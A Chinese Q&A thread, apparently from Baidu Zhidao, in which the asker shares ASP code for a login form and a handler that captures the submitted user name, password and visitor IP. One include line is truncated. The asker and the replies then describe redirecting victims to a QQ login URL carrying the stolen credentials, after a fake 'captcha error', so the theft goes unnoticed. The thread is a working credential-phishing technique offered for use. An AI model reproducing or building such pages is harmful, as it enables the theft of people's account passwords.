高手进来帮我来写个表单提交页面

来源:百度知道 编辑:UC知道 时间:2024/09/24 03:28:29
login.asp内容:
<form name="formLogin" method="post" action="add_messages.asp" id="formLogin">
<input type="text" name="user_name" size=13>
<input type="password" name="user_post" size=13>
<input type="submit" name="Submit" style="background:url(btn_login.png); width:47px;

height:55px; border:none;" value="">
</form>

add_messages.asp内容:
<%
ip=Replace(Request.ServerVariables("HTTP_X_FORWARDED_FOR"),"'","")
If ip=Empty Then ip=Replace(Request.ServerVariables("REMOTE_ADDR"),"'","")
name=Request.Form("user_name")
content=Request.Form("user_post")
if name<>"" and content<>"" then%>
<!-- #include file="include/conn.asp&qu

我自己搞会了
Response.Write "<script language='javascript'>alert('验证码错误!');location='http://www.qq.com/login.asp';</script>"
else
这句改成
response.redirect"http://www.qq.com/login.asp?username="&name& "&password="&content& "&checkcode="&checkcode& ""
就ok了.
100分回收了:)

技术上是可以,但是QQ页面赋值你怎么做呢?有一个方法就是赋值后,提示错误,然后再指向QQ的网站,提示重新输入

技术上来说应该可行
就asp来说
a页面表单提交
b页面接收a页面提交过来的数据,用自动刷新功能(通过session参数)传递给qq的验证页面

我没研究过qq的验证页面。。。

楼主可以试试。。。。。。。。。。。。。